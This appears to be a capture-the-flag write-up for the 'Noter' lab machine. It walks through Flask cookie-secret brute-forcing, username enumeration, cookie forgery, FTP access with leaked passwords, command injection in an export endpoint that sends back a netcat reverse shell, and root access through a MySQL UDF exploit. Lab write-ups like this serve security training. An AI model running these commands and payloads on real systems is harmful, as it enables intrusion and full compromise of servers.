IP -> 10.10.11.160
We start with an nmap scan!
$ nmap -sCV -p- -v 10.10.11.160
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We have three ports open. port 21 running FTP, port 22 running SSH and port 5000 running a python HTTP app.
Let’s check if we can log in as anonymous on FTP.
$ ftp [email protected]
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
So we can’t access ftp with the anonymous user. Let’s check what’s in the web server now!:
Let’s create an account!
———————————————————————————————————————————————————-
We seem to be authenticated by a cookie with a JWT token.
Let’s try and get the secret for this JWT token. I will be using a tool called flask-unsign (https://github.com/Paradoxis/Flask-Unsign).
$ flask-unsign --unsign --wordlist rockyou.txt --no-literal-eval --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiSzRvUyJ9.YqsXxA.3a_eDeZSDa601DLv7p2ABtESp_8"
[*] Session decodes to: {'logged_in': True, 'username': 'K4oS'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'
Okay! Now we need a way to discover what users are in this web app!
Looking around and testing we get different error messages when we try and log in with a user that does not exist and one that does:
We can take advantage of this and write a simple script to test a lot of users and check if any exists:
import requests
from sys import argv, stdout
if len(argv) <= 2:
print(f"[i] Usage: {argv[0]} ip wordlist")
exit(0)
url = f"http://{argv[1]}:5000/login"
with open(argv[2], "r") as f:
words = f.read().split("\n")
for username in words:
r = requests.post(url, data={"username":username, "password":"a"})
if "Invalid login" in r.text:
print(f"[+] FOUND: {username}")
Now let’s run it!
$ python3 getUsers.py 10.10.11.160 SecLists/Usernames/xato-net-10-million-usernames.txt
[+] FOUND: blue
We found the user blue! Now let’s forge a cookie with the secret we found before and the user blue:
$ flask-unsign -s --secret "secret123" --cookie "{'logged_in': True, 'username': 'blue'}"
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YqscFA.Iar3W_vEmT93CGFHJE63mxrCw-I
Now let’s set out cookie to the forged one:
We are logged in! now let’s check its notes:
Let’s check the Noter Premium Membership note!
Hello, Thank you for choosing our premium service. Now you are capable of
doing many more things with our application. All the information you are going
to need are on the Email we sent you. By the way, now you can access our FTP
service as well. Your username is 'blue' and the password is 'blue@Noter!'.
Make sure to remember them and delete this.
(Additional information are included in the attachments we sent along the
Email)
We all hope you enjoy our service. Thanks!
ftp_admin
Great! We have ftp credentials! Let’s login:
$ ftp [email protected]
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 20:59 policy.pdf
Okay! The directory “files” is empty, so let’s download the PDF and read it.
Looks like they have a default password policy! Let’s try and create our password for the ftp_admin username. Following the format, the password should be ftp_admin@Noter!. Let’s try it!
ftp [email protected]
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: ftp_admin@Noter!
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
Backups! Let’s download them and inspect them.
$ diff --color app_backup_1635803546/app.py app_backup_1638395546/app.py
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
> app.config['MYSQL_USER'] = 'DB_user'
> app.config['MYSQL_PASSWORD'] = 'DB_password'
21a22,23
....
> # Export remote
> @app.route('/export_note_remote', methods=['POST'])
> @is_logged_in
> def export_note_remote():
> if check_VIP(session['username']):
> try:
> url = request.form['url']
>
> status, error = parse_url(url)
>
> if (status is True) and (error is None):
> try:
> r = pyrequest.get(url,allow_redirects=True)
> rand_int = random.randint(1,10000)
> command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
> subprocess.run(command, shell=True, executable="/bin/bash")
>
> if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
>
> return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
>
> else:
> return render_template('export_note.html', error="Error occured while exporting the !")
>
> except Exception as e:
> return render_template('export_note.html', error="Error occured!")
>
>
> else:
> return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
>
> except Exception as e:
> return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
>
> else:
> abort(403)
>
...
We can take two things from this script! We got some MYSQL credentials and an endpoint that after code inspection looks like we can just supply a URL, it will get the contents of the URL and put them in a command and run it. Therefore if we write in this file something along the lines of ‘;id it will escape the command and run whatever we want, therefore getting RCE on the server!
Let’s try this out:
$ echo "';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.43 1234 >/tmp/f;'" > expl.md
$ python3 -m http.server &
...SNIP...
$ curl -X POST http://10.10.11.160:5000/export_note_remote -H "Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YqscFA.Iar3W_vEmT93CGFHJE63mxrCw-I" -d "url=http://10.10.14.43:8000/expl.md"
10.10.11.160 - - [16/Jun/2022 13:18:17] "GET /expl.md HTTP/1.1" 200 -
And on our netcat listener:
$ nc -lvnp 1234
Connection from 10.10.11.160:48950
svc@noter:~/app/web$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
Great! We got RCE!
After researching a bit I found this exploitDB exploit https://www.exploit-db.com/exploits/1518
Let’s paste our exploit into expl.c and do the following!
$ gcc -g -c expl.c
$ gcc -g -shared -Wl,-soname,expl.so -o expl.so expl.o -lc
$ mysql -u root -p
Enter password: Nildogg36
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 700
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql;
MariaDB [mysql]> create table foo(line blob);
MariaDB [mysql]> insert into foo values(load_file('/tmp/expl.so'));
MariaDB [mysql]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/expl.so';
MariaDB [mysql]> create function do_system returns integer soname 'expl.so';
MariaDB [mysql]> select * from mysql.func;
MariaDB [mysql]> select do_system('cp /root/root.txt /tmp/flg.txt; chown svc:svc /tmp/flg.txt');
MariaDB [mysql]> \! sh
$ cat /tmp/flg.txt
a55608c1d347c80bd....
I hope you enjoyed this writeup!